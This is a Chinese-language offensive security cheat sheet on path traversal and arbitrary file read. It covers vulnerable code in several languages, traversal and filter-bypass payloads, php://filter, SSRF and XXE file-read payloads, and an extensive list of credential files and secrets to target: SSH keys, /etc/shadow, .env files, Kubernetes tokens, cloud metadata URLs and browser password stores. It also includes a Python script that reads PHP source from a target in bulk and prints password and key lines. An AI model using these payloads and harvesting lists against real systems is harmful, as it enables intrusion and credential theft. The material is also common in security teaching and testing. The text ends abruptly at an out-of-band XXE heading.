梳理路径穿越(Path Traversal)与任意文件读取(Arbitrary File Read)漏洞的原理、危险函数、利用技巧、敏感文件速查与 WAF 绕过方法。
1、漏洞概述
1.1 定义与区别
| 漏洞类型 |
英文名 |
核心行为 |
危害 |
| 路径穿越 |
Path Traversal / Directory Traversal |
使用 ../ 等跳出预期目录,访问任意路径 |
读取/写入/删除任意文件 |
| 任意文件读取 |
Arbitrary File Read |
通过任意方式读取服务器文件内容 |
信息泄露、密钥获取、源码泄露 |
| 本地文件包含 |
Local File Inclusion (LFI) |
包含本地文件并由解释器执行 |
RCE(见文件包含专题) |
三者关系:
路径穿越 ──→ 任意文件读取 ──→ 信息收集 → 进一步攻击
──→ 密钥/密码 → 横向移动
──→ 源码审计 → 发现新漏洞
──→ 配合 LFI → RCE
1.2 危害等级与后果
| 危害 |
说明 |
等级 |
| 源码泄露 |
读取 PHP/Python/Java 源码,发现业务逻辑漏洞 |
🔴 严重 |
| 密钥/凭据泄露 |
.env、配置文件中的数据库密码、API Key |
🔴 严重 |
| SSH 私钥泄露 |
/root/.ssh/id_rsa → 直接 SSH 登录 |
🔴 严重 |
| 系统信息收集 |
内核版本、用户列表、进程、网络信息 |
🟡 高 |
| 二次利用 |
读取日志/配置 → 污染日志 → RCE |
🔴 严重 |
| 认证绕过 |
读取 Session 文件、JWT 密钥 → 伪造身份 |
🔴 严重 |
1.2 根本原因
用户可控输入(filename / path / dir 参数)
↓
直接拼接到文件路径中(未规范化、未校验)
↓
操作系统解析 ../ 为"上级目录"
↓
实际访问路径超出预期目录范围 → 任意文件读取
1.3 PHP 最简单的场景
<?php
// ❌ 危险:直接将参数用于文件读取
$filename = $_GET['file'];
echo file_get_contents($filename);
// 攻击:?file=../../../../etc/passwd
// 攻击:?file=php://filter/convert.base64-encode/resource=index.php
带路径前缀拼接
<?php
// ❌ 危险:加了前缀但仍可穿越
$base = '/var/www/html/files/';
$file = $_GET['file'];
echo file_get_contents($base . $file);
// 攻击:?file=../../../../etc/passwd
// 实际路径:/var/www/html/files/../../../../etc/passwd → /etc/passwd
带后缀拼接
<?php
// ❌ 危险:后缀拼接 .log,但仍可读取任意 .log 文件
$log_dir = '/var/log/app/';
$module = $_GET['module'];
$content = file_get_contents($log_dir . $module . '.log');
// 攻击(PHP < 5.3.4 空字节截断):?module=../../../../etc/passwd%00
// 攻击(穿越后读取已有 .log):?module=../../../../var/log/apache2/access
路径规范化不足
<?php
// ❌ 危险:只过滤了 ../ 但未规范化
$file = str_replace('../', '', $_GET['file']);
readfile('/files/' . $file);
// 绕过:?file=....//....//....//etc/passwd
// str_replace 处理后 ....// → ../ → 路径穿越
黑名单过滤不完整
<?php
// ❌ 危险:黑名单不完整
$file = $_GET['file'];
if (strpos($file, '../') !== false) die('No traversal!');
readfile('/var/www/html/files/' . $file);
// 绕过:?file=..%2f..%2f..%2fetc%2fpasswd (URL 编码)
// 绕过:?file=..%252f..%252f..%252fetc%252fpasswd (双重编码)
// 绕过:?file=/etc/passwd (绝对路径,不含 ../)
1.4 其他语言的漏洞模式
Python(Flask/Django)
# ❌ 危险:直接用参数构造文件路径
from flask import Flask, request, send_file
import os
app = Flask(__name__)
@app.route('/download')
def download():
filename = request.args.get('file')
filepath = os.path.join('/var/www/files', filename)
return send_file(filepath)
# 攻击:?file=../../../../etc/passwd
# os.path.join 遇到绝对路径会忽略前缀:
# os.path.join('/var', '/etc/passwd') → '/etc/passwd'
@app.route('/read')
def read_file():
path = request.args.get('path')
# ❌ 直接打开用户提供的路径
with open(path, 'r') as f:
return f.read()
Java(Spring/Servlet)
// ❌ 危险:直接拼接路径
@GetMapping("/file")
public ResponseEntity<byte[]> getFile(@RequestParam String filename) throws IOException {
String basePath = "/var/www/files/";
Path filePath = Paths.get(basePath + filename); // 未规范化
byte[] content = Files.readAllBytes(filePath);
return ResponseEntity.ok(content);
// 攻击:?filename=../../../../etc/passwd
}
// ❌ 危险:使用 URL 直接读取(SSRF + 路径穿越)
URL url = new URL(request.getParameter("url"));
InputStream is = url.openStream();
// 攻击:?url=file:///etc/passwd
Node.js(Express)
// ❌ 危险:直接用参数读取文件
const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();
app.get('/file', (req, res) => {
const filename = req.query.file;
const filepath = '/var/www/files/' + filename; // 危险!
res.sendFile(filepath);
// 攻击:?file=../../../../etc/passwd
});
// ❌ 危险:path.join 不能阻止绝对路径注入
app.get('/read', (req, res) => {
const file = req.query.f;
const full = path.join('/files', file);
// path.join('/files', '../etc/passwd') → '/etc/passwd' ✅ 解析了穿越
// 但 path.join('/files', '/etc/passwd') → '/etc/passwd' ❌ 绝对路径直通
fs.readFile(full, 'utf8', (err, data) => res.send(data));
});
2、各语言危险函数全览
2.1 PHP 文件读取危险函数
| 函数 |
说明 |
是否执行代码 |
支持伪协议 |
风险 |
file_get_contents($path) |
读取整个文件为字符串 |
❌ |
✅ |
🔴 严重 |
file($path) |
读取文件为数组 |
❌ |
✅ |
🔴 严重 |
readfile($path) |
直接输出文件内容 |
❌ |
✅ |
🔴 严重 |
fopen($path, $mode) |
打开文件句柄 |
❌ |
✅ |
🔴 严重 |
fread($handle, $len) |
读取文件句柄内容 |
❌ |
✅ |
🔴 严重 |
fgets($handle) |
逐行读取 |
❌ |
✅ |
🔴 严重 |
include($path) |
包含并执行 PHP 代码 |
✅ |
✅ |
🔴 严重 |
require($path) |
包含并执行 PHP 代码 |
✅ |
✅ |
🔴 严重 |
highlight_file($path) |
语法高亮显示 PHP 文件 |
❌ |
❌ |
🔴 严重 |
show_source($path) |
同 highlight_file |
❌ |
❌ |
🔴 严重 |
copy($src, $dst) |
复制文件(可复制到 Web 目录) |
❌ |
✅ |
🔴 严重 |
file_put_contents($path, $data) |
写入文件(写 WebShell) |
❌ |
✅ |
🔴 严重 |
SplFileObject($path) |
面向对象方式读取 |
❌ |
❌ |
🔴 严重 |
glob($pattern) |
列举匹配路径的文件 |
❌ |
✅ |
🟡 高 |
scandir($path) |
列举目录内容 |
❌ |
❌ |
🟡 高 |
opendir($path) |
打开目录句柄 |
❌ |
❌ |
🟡 高 |
stat($path) |
获取文件属性 |
❌ |
✅ |
🟡 中 |
file_exists($path) |
判断文件是否存在 |
❌ |
✅ |
🟡 中 |
getimagesize($path) |
获取图片信息 |
❌ |
✅ |
🟡 中 |
2.2 Python 文件读取危险函数
| 函数/方法 |
说明 |
风险 |
open(path, 'r') |
打开文件读取 |
🔴 严重 |
os.open(path, flags) |
低级文件打开 |
🔴 严重 |
pathlib.Path(path).read_text() |
读取文件为字符串 |
🔴 严重 |
pathlib.Path(path).read_bytes() |
读取文件为字节 |
🔴 严重 |
io.open(path, 'r') |
IO 模块读取 |
🔴 严重 |
urllib.request.urlopen('file://...') |
通过 file:// 读取 |
🔴 严重 |
flask.send_file(path) |
Flask 文件发送 |
🔴 严重 |
flask.send_from_directory(dir, file) |
Flask 目录发送(相对安全但可绕过) |
🟡 高 |
os.listdir(path) |
列举目录 |
🟡 中 |
os.walk(path) |
递归遍历目录 |
🟡 中 |
subprocess.run(['cat', path]) |
通过命令读取 |
🔴 严重 |
2.3 Java 文件读取危险方法
// 危险的文件读取方式
Files.readAllBytes(Paths.get(userInput))
Files.readString(Paths.get(userInput))
new FileInputStream(userInput)
new File(userInput).toURI().toURL().openStream()
new URL("file://" + userInput).openStream()
Runtime.getRuntime().exec("cat " + userInput)
2.4 Node.js 文件读取危险函数
// 危险的文件读取方式
fs.readFile(userInput, callback)
fs.readFileSync(userInput)
fs.createReadStream(userInput)
require('fs').promises.readFile(userInput)
res.sendFile(userInput) // Express(未限制根目录)
res.download(userInput) // Express
2.5 Go 文件读取危险函数
// 危险的文件读取方式
os.Open(userInput)
os.ReadFile(userInput)
ioutil.ReadFile(userInput)
http.ServeFile(w, r, userInput) // 未验证路径
filepath.EvalSymlinks(userInput) // 可读取软链接目标
3、基础路径穿越技巧
3.1 路径穿越基本原理
目标代码:readfile('/var/www/html/files/' . $file)
正常访问:$file = 'report.pdf'
实际路径:/var/www/html/files/report.pdf
路径穿越:$file = '../../../../etc/passwd'
实际路径:/var/www/html/files/../../../../etc/passwd
解析结果:/etc/passwd ✅(操作系统自动解析 ../)
原理:../ 代表上级目录,到达根目录 / 后继续 ../ 仍在根目录
因此 /var/www/html/files/../../../../ = /(根目录)
无论当前目录深度,只要 ../ 足够多就能到达根目录
3.2 确定目录深度
# 方法一:暴力穷举(多加几个 ../ 不会出错)
../../../../../../../../etc/passwd # 足够多的 ../ 必然到达根目录
# 方法二:通过错误信息判断
?file=nonexistent_test_file
# Warning: file_get_contents(/var/www/html/files/nonexistent_test_file): failed
# 从报错得知当前路径深度为 /var/www/html/files/ → 需要 4 层 ../
# 方法三:读取 /proc/self/cwd
?file=../../../proc/self/cwd # 软链接指向当前工作目录
# 或
?file=../../../../proc/self/environ # 包含 PWD 环境变量
# 方法四:二分猜测
?file=../../etc/passwd # 不成功
?file=../../../etc/passwd # 成功 → 说明深度是 3
3.3 绝对路径直接读取
# 当服务器不验证是否以指定目录开头时,直接用绝对路径
?file=/etc/passwd
?file=/etc/shadow
?file=/var/www/html/config.php
# Python os.path.join 绝对路径陷阱
# os.path.join('/files', '/etc/passwd') → '/etc/passwd'(绝对路径覆盖前缀)
?path=/etc/passwd # 完全绕过路径前缀
# Node.js path.resolve 类似问题
# path.resolve('/base', '/etc/passwd') → '/etc/passwd'
3.4 读取文件内容的多种方式
# Linux 命令(命令注入场景)
cat /etc/passwd
tac /etc/passwd # 反向输出
more /etc/passwd
less /etc/passwd
head -n 20 /etc/passwd
tail -n 20 /etc/passwd
nl /etc/passwd # 带行号
od -c /etc/passwd # 八进制
xxd /etc/passwd # Hex dump
strings /etc/passwd
grep . /etc/passwd # 输出所有行
awk '{print}' /etc/passwd
sed -n '1,20p' /etc/passwd # 读取指定行范围
cut -d: -f1 /etc/passwd # 只输出用户名字段
# 复制到可访问位置
cp /etc/passwd /var/www/html/p.txt
ln -s /etc/passwd /var/www/html/p.txt # 软链接
# 利用 Base64 绕过某些内容过滤
base64 /etc/passwd | base64 -d
openssl base64 -in /etc/passwd
# Python 读取
python3 -c "print(open('/etc/passwd').read())"
python3 -c "import base64; print(base64.b64encode(open('/etc/passwd','rb').read()).decode())"
# 利用 dd
dd if=/etc/passwd bs=1 skip=0 count=100
# 利用 tr
tr -d '\n' < /etc/passwd # 删除换行输出
3.5 无权限文件读取技巧
# /etc/shadow 通常需要 root 权限,但有以下方式尝试
# 方法一:文件软链接(若上传目录允许软链接)
ln -s /etc/shadow /var/www/html/uploads/shadow.txt
# 访问 http://target.com/uploads/shadow.txt
# 方法二:通过 SUID 程序读取
find / -perm -4000 2>/dev/null # 找 SUID 程序
# 某些 SUID 程序(如 find、vim)可读取任意文件
# 方法三:/proc/sysrq-trigger(某些极端场景)
# 方法四:竞争条件 + 软链接(Race Condition)
4、敏感文件速查
4.1 Linux 系统认证与用户信息
# 用户与认证(最常读取)
/etc/passwd # 用户列表(含用户名、UID、GID、HOME、Shell)
/etc/shadow # 密码哈希(通常需要 root)
/etc/group # 用户组信息
/etc/gshadow # 组密码哈希
/etc/sudoers # sudo 权限配置
/etc/sudoers.d/* # sudo 额外配置
# SSH 密钥(极高价值)
/root/.ssh/id_rsa # root SSH 私钥(直接登录)
/root/.ssh/id_ed25519 # 新格式私钥
/root/.ssh/authorized_keys # 授权公钥列表
/root/.ssh/known_hosts # 已知主机(泄露内网信息)
/home/{user}/.ssh/id_rsa # 普通用户私钥
/home/{user}/.ssh/authorized_keys
/home/{user}/.ssh/config # SSH 客户端配置(含主机信息)
# 历史命令(可能含密码)
/root/.bash_history
/root/.zsh_history
/root/.sh_history
/home/{user}/.bash_history
/home/{user}/.mysql_history # MySQL 命令历史
/home/{user}/.psql_history # PostgreSQL 命令历史
/home/{user}/.python_history
2.2 Linux 系统配置与信息
# 操作系统信息
/etc/os-release # 系统版本(含发行版名称)
/etc/debian_version # Debian 版本
/etc/redhat-release # RedHat/CentOS 版本
/etc/alpine-release # Alpine Linux
/proc/version # 内核版本字符串
/proc/sys/kernel/osrelease # 内核版本号
# 网络配置
/etc/hosts # 主机名解析(泄露内网 IP/域名)
/etc/hostname # 主机名
/etc/resolv.conf # DNS 服务器配置
/etc/network/interfaces # 网络接口配置(Debian)
/etc/sysconfig/network-scripts/* # 网络配置(CentOS)
/proc/net/tcp # TCP 连接(Hex 格式,含内网端口)
/proc/net/tcp6 # IPv6 TCP 连接
/proc/net/udp # UDP 连接
/proc/net/fib_trie # 路由表(含内网 IP)
/proc/net/arp # ARP 缓存(内网主机)
/proc/net/if_inet6 # IPv6 接口地址
/proc/net/dev # 网络设备统计
# 定时任务
/etc/crontab # 系统定时任务
/etc/cron.d/* # 额外 cron 配置
/etc/cron.daily/* # 每日任务
/etc/cron.hourly/* # 每小时任务
/var/spool/cron/crontabs/* # 用户 crontab
/var/spool/cron/crontabs/root # root 的 crontab
4.3 Linux 应用与服务配置
# Web 服务器(Apache)
/etc/apache2/apache2.conf # Apache 主配置
/etc/apache2/sites-enabled/*.conf # 虚拟主机配置
/etc/apache2/ports.conf # 端口配置
/etc/apache2/.htpasswd # 认证用户密码
/usr/local/apache2/conf/httpd.conf # 编译安装路径
# Web 服务器(Nginx)
/etc/nginx/nginx.conf # Nginx 主配置
/etc/nginx/sites-enabled/* # 站点配置
/etc/nginx/conf.d/*.conf # 额外配置
/usr/local/nginx/conf/nginx.conf # 编译安装路径
# 数据库配置
/etc/mysql/mysql.conf.d/mysqld.cnf # MySQL 配置
/etc/mysql/my.cnf # MySQL 全局配置
/root/.my.cnf # MySQL root 凭据(含密码!)
/home/{user}/.my.cnf # 用户 MySQL 凭据
/etc/postgresql/*/main/pg_hba.conf # PostgreSQL 认证配置
/etc/postgresql/*/main/postgresql.conf # PostgreSQL 主配置
/var/lib/pgsql/data/pg_hba.conf # PostgreSQL 数据目录
# PHP 配置
/etc/php/*/php.ini # PHP 主配置
/etc/php/*/fpm/pool.d/www.conf # PHP-FPM 池配置
/etc/php/*/cli/php.ini # CLI 模式配置
/usr/local/lib/php.ini # 编译安装路径
# Redis
/etc/redis/redis.conf # Redis 配置(含 requirepass 密码)
/etc/redis.conf
4.4 Linux 日志文件(可用于日志污染 → RCE)
# Web 服务器日志
/var/log/apache2/access.log # Apache 访问日志
/var/log/apache2/error.log # Apache 错误日志
/var/log/nginx/access.log # Nginx 访问日志
/var/log/nginx/error.log # Nginx 错误日志
/usr/local/apache/log/access_log # 编译安装路径
/usr/local/apache2/log/access_log
# 系统日志
/var/log/auth.log # SSH 认证日志(Ubuntu/Debian)
/var/log/secure # SSH 认证日志(CentOS/RHEL)
/var/log/syslog # 系统日志
/var/log/messages # 系统消息
/var/log/dmesg # 内核启动日志
/var/log/boot.log # 启动日志
/var/log/mail.log # 邮件日志
/var/log/cron.log # Cron 日志
# 应用日志(含凭据、Token 等敏感信息)
/var/log/mysql/error.log # MySQL 错误日志(可含密码)
/var/log/postgresql/*.log # PostgreSQL 日志
4.5 Linux 容器与云环境特有文件
# Docker 环境
/.dockerenv # 判断是否在容器内
/proc/1/cgroup # 包含 docker 字样则在容器内
/run/secrets/* # Docker secrets
/var/run/docker.sock # Docker 守护进程 socket(极高价值)
/etc/docker/daemon.json # Docker 配置
# Kubernetes
/var/run/secrets/kubernetes.io/serviceaccount/token # K8s Service Account Token
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt # CA 证书
/var/run/secrets/kubernetes.io/serviceaccount/namespace # 命名空间
/proc/1/environ # 包含 K8s 环境变量和 Secrets
# 云环境元数据
# AWS EC2 元数据(SSRF 场景):
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/
# GCP 元数据:
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure 元数据:
http://169.254.169.254/metadata/instance?api-version=2021-02-01
4.6 Windows 系统关键文件
# 系统配置
C:\Windows\win.ini # Windows 配置(经典测试目标)
C:\Windows\System32\drivers\etc\hosts # Hosts 文件
C:\Windows\System32\drivers\etc\networks # 网络配置
C:\Windows\System32\config\SAM # SAM 密码数据库(需 SYSTEM 权限)
C:\Windows\repair\sam # SAM 备份(可能可读)
C:\Windows\repair\system # SYSTEM 备份
C:\Windows\System32\config\SYSTEM # SYSTEM 注册表
C:\Windows\System32\config\SOFTWARE # SOFTWARE 注册表
C:\Windows\System32\config\SECURITY # SECURITY 注册表
# 用户相关
C:\Users\Administrator\Desktop\flag.txt # CTF 常见 flag 位置
C:\Users\Administrator\.ssh\id_rsa
C:\Users\{user}\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt # PS 历史命令(含密码!)
C:\Users\{user}\AppData\Roaming\.purple\accounts.xml # Pidgin 账户(含凭据)
C:\Users\{user}\.bash_history # WSL 用户历史
# 凭据文件
C:\Windows\System32\config\RegBack\SAM # SAM 注册表备份
C:\Windows\NTDS\ntds.dit # AD 域控数据库(含所有密码哈希)
C:\Windows\System32\GroupPolicy\Preferences\Groups\Groups.xml # GPP 明文密码(历史漏洞)
4.7 Windows Web 服务器配置
# IIS
C:\inetpub\wwwroot\web.config # IIS 应用配置(含连接字符串)
C:\inetpub\wwwroot\global.asax # ASP.NET 全局文件
C:\Windows\System32\inetsrv\config\applicationHost.config # IIS 主配置
C:\Windows\Microsoft.NET\Framework64\{ver}\config\web.config # .NET 默认配置
# XAMPP
C:\xampp\apache\conf\httpd.conf # Apache 配置
C:\xampp\apache\conf\extra\httpd-vhosts.conf # 虚拟主机
C:\xampp\php\php.ini # PHP 配置
C:\xampp\phpMyAdmin\config.inc.php # phpMyAdmin 配置(含 MySQL root 密码)
C:\xampp\mysql\bin\my.ini # MySQL 配置
C:\xampp\apache\logs\access.log # 访问日志
C:\xampp\apache\logs\error.log # 错误日志
4.8 Windows 应用程序凭据
# 数据库客户端
C:\Program Files\MySQL\MySQL Server *\my.ini # MySQL 配置
C:\ProgramData\MySQL\MySQL Server *\my.ini
C:\Users\{user}\.my.cnf # MySQL 用户凭据
# SSH 客户端(PuTTY)
HKCU\Software\SimonTatham\PuTTY\Sessions\* # PuTTY 保存的会话(含 IP/用户名)
C:\Users\{user}\AppData\Roaming\MobaXterm\ # MobaXterm 配置
# 浏览器凭据
C:\Users\{user}\AppData\Local\Google\Chrome\User Data\Default\Login Data # Chrome 密码(SQLite)
C:\Users\{user}\AppData\Roaming\Mozilla\Firefox\Profiles\*\logins.json # Firefox 密码
# WinSCP
C:\Users\{user}\AppData\Roaming\WinSCP.ini # WinSCP 配置(含凭据)
4.9 Web 应用通用配置文件
# 环境变量配置(最高价值)
/.env # Laravel / Node.js / Django 等框架配置
/.env.local # 本地覆盖配置
/.env.production # 生产环境配置
/.env.backup # 配置备份(常被遗忘)
/.env.old
/.env.bak
/.env.example # 示例配置(可能包含真实密钥)
/.env.dev
/.env.staging
# 各类配置文件
/config.php # PHP 通用配置
/config.inc.php
/configuration.php
/settings.php
/database.php
/db.php
/db_config.php
/connect.php
/connection.php
/application.properties # Spring Boot
/application.yml
/application.yaml
/bootstrap.php
/wp-config.php # WordPress(含数据库密码)
/wp-config.php.bak # WordPress 配置备份
/configuration.php # Joomla
/config/config.inc.php # phpMyAdmin
/config/database.php # CodeIgniter / Laravel
/app/config/config.php # Codeigniter
/application/config/database.php # ThinkPHP 3.x
/config/database.php # ThinkPHP 5.x / Laravel
/.htpasswd # Apache 认证密码文件
/.htaccess # Apache 目录配置
4.10 Web 应用CMS 配置文件
# WordPress
/wp-config.php # 数据库配置(DB_PASSWORD 等)
/wp-content/debug.log # 调试日志
/wp-includes/version.php # WordPress 版本
/.wp-cli/config.yml # WP-CLI 配置
# Joomla
/configuration.php # 数据库配置
/administrator/manifests/files/joomla.xml # 版本信息
# Drupal
/sites/default/settings.php # 数据库配置
/sites/default/settings.local.php # 本地配置(可能含密钥)
# Magento
/app/etc/env.php # 数据库配置、加密密钥
/app/etc/local.xml # 旧版配置
# Laravel
/.env # 所有配置(DB_PASSWORD、APP_KEY 等)
/storage/logs/laravel.log # 应用日志(可能含 Debug 信息)
/config/app.php # 应用配置(APP_KEY)
/config/database.php # 数据库配置
# Django
/settings.py # SECRET_KEY、数据库配置
/local_settings.py # 本地配置覆盖
/.secret_key
# Spring Boot
/src/main/resources/application.properties # 数据库URL、密码
/src/main/resources/application.yml
/BOOT-INF/classes/application.properties # 打包后路径
/WEB-INF/classes/application.properties
4.11 Web 应用备份文件与源码泄露
# 常见备份文件(通过修改 URL 猜测)
index.php.bak
index.php~
index.php.swp # Vim 临时文件
.index.php.swp # Vim 隐藏临时文件
index.php.swo
config.php.bak
config.php.old
config.php.backup
config.php.zip
# 源码压缩包
.git/ # Git 仓库(git-dumper 工具提取)
.git/config # Git 配置(含 remote URL)
.git/HEAD # 当前分支
.git/COMMIT_EDITMSG # 最后提交信息
.svn/entries # SVN 仓库信息
.svn/wc.db # SVN 工作副本数据库(含文件列表)
.hg/ # Mercurial 仓库
.DS_Store # macOS 目录信息(泄露文件名)
WWW.zip / www.zip # 网站源码压缩包
backup.zip / website.zip / source.zip
web.tar.gz / wwwroot.tar.gz
4.12 /proc 虚拟文件系统利用
/proc 是 Linux 内核暴露的虚拟文件系统,包含大量进程和系统信息,在文件读取场景中具有极高价值。
4.12.1 核心文件速查
# 当前进程相关(/proc/self/ → 自动指向当前进程)
/proc/self/environ # 当前进程的环境变量(含 SECRET_KEY、DB_PASSWORD 等)
/proc/self/cmdline # 当前进程的命令行(含启动参数、配置文件路径)
/proc/self/cwd # 当前工作目录(软链接,ls /proc/self/cwd)
/proc/self/exe # 当前进程的可执行文件(软链接)
/proc/self/maps # 内存映射(含加载的库路径)
/proc/self/status # 进程状态信息(UID、GID、内存使用)
/proc/self/limits # 进程资源限制
/proc/self/fd/ # 打开的文件描述符(可读取日志等文件)
/proc/self/fd/0 # 标准输入
/proc/self/fd/1 # 标准输出
/proc/self/fd/2 # 标准错误
/proc/self/fd/3 # 通常是第一个打开的文件(日志等)
/proc/self/fdinfo/ # 文件描述符详情(含文件偏移)
/proc/self/mem # 进程内存(可读取内存中的数据)
/proc/self/net/tcp # 当前进程的 TCP 连接
/proc/self/mounts # 挂载点(泄露路径、NFS 配置)
/proc/self/mountinfo # 详细挂载信息
# 其他进程(PID 枚举)
/proc/1/cmdline # PID 1(init/systemd)的命令行
/proc/1/environ # PID 1 的环境变量
/proc/{N}/cmdline # 枚举其他进程(N = 1, 2, 3...)
/proc/{N}/environ # 其他进程环境变量
/proc/{N}/exe # 其他进程的可执行文件
# 系统级信息
/proc/version # Linux 内核版本字符串
/proc/cpuinfo # CPU 信息
/proc/meminfo # 内存信息
/proc/mounts # 系统挂载点
/proc/filesystems # 支持的文件系统类型
/proc/loadavg # 系统负载
/proc/uptime # 系统运行时间
/proc/sys/kernel/hostname # 主机名
/proc/sys/kernel/ostype # 操作系统类型
/proc/sys/kernel/osrelease # 内核版本
/proc/sysrq-trigger # SysRq 触发器(危险!)
# 网络信息(/proc/net/)
/proc/net/tcp # TCP 连接(本地/远程地址为 Hex 编码)
/proc/net/tcp6 # IPv6 TCP
/proc/net/udp # UDP 连接
/proc/net/arp # ARP 表(内网主机发现)
/proc/net/fib_trie # 路由表(含内网 IP)
/proc/net/dev # 网络接口统计
/proc/net/if_inet6 # IPv6 接口地址
/proc/net/route # 路由表(Hex 格式)
/proc/net/unix # Unix Domain Socket
/proc/net/netstat # 网络统计
4.12.2 /proc/net/tcp 解析
/proc/net/tcp 中的地址为小端序十六进制,需要手动解析:
# /proc/net/tcp 内容示例:
# sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt
# 0: 00000000:0050 00000000:0000 0A ...
# local_address = 00000000:0050
# 地址部分:00000000 → 大端转换 → 0.0.0.0
# 端口部分:0050 → 十进制 → 80
def parse_proc_net_tcp(content):
"""解析 /proc/net/tcp 的地址信息"""
import socket, struct
for line in content.strip().split('\n')[1:]:
fields = line.strip().split()
if len(fields) < 4: continue
local = fields[1]
remote = fields[2]
state = fields[3]
def parse_addr(addr_str):
ip_hex, port_hex = addr_str.split(':')
# IP: 小端序转换
ip = socket.inet_ntoa(struct.pack('<I', int(ip_hex, 16)))
port = int(port_hex, 16)
return f"{ip}:{port}"
print(f" Local: {parse_addr(local)} → Remote: {parse_addr(remote)} State: {state}")
# 直接 shell 解析
# awk '/[0-9]/ {print $2}' /proc/net/tcp | awk -F: '{printf "%d.%d.%d.%d:%d\n", strtonum("0x" substr($1,7,2)), strtonum("0x" substr($1,5,2)), strtonum("0x" substr($1,3,2)), strtonum("0x" substr($1,1,2)), strtonum("0x" $2)}'
4.12.3 /proc/self/environ 利用
# 读取 /proc/self/environ(CTF 中常包含 flag 或密钥)
# 内容格式:变量名=值\x00变量名=值\x00...(以 \x00 分隔)
# 解析命令
cat /proc/self/environ | tr '\0' '\n'
strings /proc/self/environ
# Web 请求读取(LFI 场景)
?file=../../../../proc/self/environ
# 常见包含的敏感变量
SECRET_KEY=... # 应用密钥
DATABASE_URL=... # 数据库连接字符串
DB_PASSWORD=... # 数据库密码
API_KEY=... # API 密钥
AWS_ACCESS_KEY_ID=... # AWS 密钥
JWT_SECRET=... # JWT 签名密钥
FLAG=ctf{...} # CTF flag(有时直接在环境变量中!)
4.12.4 /proc/self/fd 文件描述符读取
# Apache / PHP-FPM 进程通常保持日志文件的文件描述符
# 通过枚举 fd,即使不知道日志路径也能读取
# 暴力枚举 fd/0 到 fd/50
for i in $(seq 0 50); do
echo "=== fd/$i ==="
cat /proc/self/fd/$i 2>/dev/null | head -5
done
# 通过 LFI 枚举(日志污染 + fd 读取)
?file=../../../../proc/self/fd/10
?file=../../../../proc/self/fd/11
...
# /proc/self/fdinfo/{N} 查看文件描述符指向
cat /proc/self/fdinfo/3
# pos: 12345
# flags: 100000
# mnt_id: 18
# 读取 /proc/self/fd 目录本身(ls 操作)
ls -la /proc/self/fd
# lrwx------ 0 -> /dev/pts/0
# lrwx------ 1 -> /dev/pts/0
# l-wx------ 2 -> /var/log/apache2/error.log ← 找到日志路径
# lr-x------ 3 -> /var/log/apache2/access.log ← 找到日志路径
5、特殊文件读取技巧
5.1 读取 PHP 源码(不触发执行)
# 方法一:php://filter(最稳定)
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/read=convert.base64-encode/resource=config.php
?file=php://filter/convert.base64-encode/resource=../config/database.php
# 解码
echo "PD9waHAK..." | base64 -d
python3 -c "import base64,sys; print(base64.b64decode(sys.stdin.read()).decode())"
# 方法二:ROT13 编码(不会触发 PHP 执行,但输出 ROT13 编码内容)
?file=php://filter/string.rot13/resource=index.php
# 方法三:iconv 编码转换(绕过内容检测)
?file=php://filter/convert.iconv.UTF-8.UTF-16/resource=index.php
# 返回 UTF-16 编码的源码,可转回 UTF-8 还原
# 方法四:多重过滤(组合使用)
?file=php://filter/string.rot13|convert.base64-encode/resource=index.php
# 方法五:zlib 压缩(某些场景可用于绕过检测)
?file=php://filter/zlib.deflate/convert.base64-encode/resource=index.php
# 解码:
echo "..." | base64 -d | python3 -c "import sys,zlib; print(zlib.decompress(sys.stdin.buffer.read()).decode())"
5.2 批量读取源码脚本
import requests
import base64
import sys
TARGET = "http://target.com/index.php"
PARAM = "file"
# 常见 PHP 文件列表
PHP_FILES = [
'index.php', 'config.php', 'database.php', 'db.php',
'connect.php', 'common.php', 'functions.php', 'init.php',
'header.php', 'footer.php', 'login.php', 'admin.php',
'upload.php', 'download.php', 'view.php', 'edit.php',
'../config.php', '../inc/config.php', '../include/config.php',
'../application/config/database.php',
]
def read_php(filename):
"""通过 php://filter 读取 PHP 源码"""
payload = f"php://filter/convert.base64-encode/resource={filename}"
try:
r = requests.get(TARGET, params={PARAM: payload}, timeout=10)
if r.status_code == 200 and len(r.text) > 0:
# 提取 base64 内容(去除 HTML 等干扰)
b64 = r.text.strip()
decoded = base64.b64decode(b64 + '==').decode('utf-8', errors='ignore')
return decoded
except Exception:
pass
return None
def read_file(filename):
"""直接读取文件"""
try:
r = requests.get(TARGET, params={PARAM: filename}, timeout=10)
if r.status_code == 200 and len(r.text) > 0:
return r.text
except Exception:
pass
return None
print("[*] Scanning PHP source files...")
for f in PHP_FILES:
result = read_php(f)
if result and '<?php' in result:
print(f"\n[+] Found: {f} ({len(result)} bytes)")
# 提取关键信息
for line in result.splitlines():
lower = line.lower()
if any(k in lower for k in ['password', 'passwd', 'secret', 'key', 'token', 'salt', 'database', 'host']):
print(f" [!] {line.strip()}")
5.3 利用 SSRF 读取文件
# 当存在 SSRF 漏洞时,可用 file:// 协议读取本地文件
?url=file:///etc/passwd
?url=file:///etc/shadow
?url=file:///var/www/html/config.php
?url=file://localhost/etc/passwd
?url=file:///C:/Windows/win.ini # Windows
# 利用 gopher:// 读取(某些 SSRF 场景)
# 利用 dict:// 探测服务
# 利用 ftp:// 读取(某些配置)
# Java / Spring 场景
?url=file:/etc/passwd # 单斜杠
?url=file:///etc/passwd # 三斜杠标准写法
?url=jar:file:///etc/passwd!/ # Jar 协议
# Python urllib
?url=file:///etc/passwd
?url=file://127.0.0.1/etc/passwd
5.4 利用 XXE 读取文件
<!-- 基础 XXE 读取文件 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!-- 读取 PHP 文件(Base64 防止特殊字符破坏 XML) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root>&xxe;</root>
<!-- 带外(OOB)读取(无回显 XXE) -->
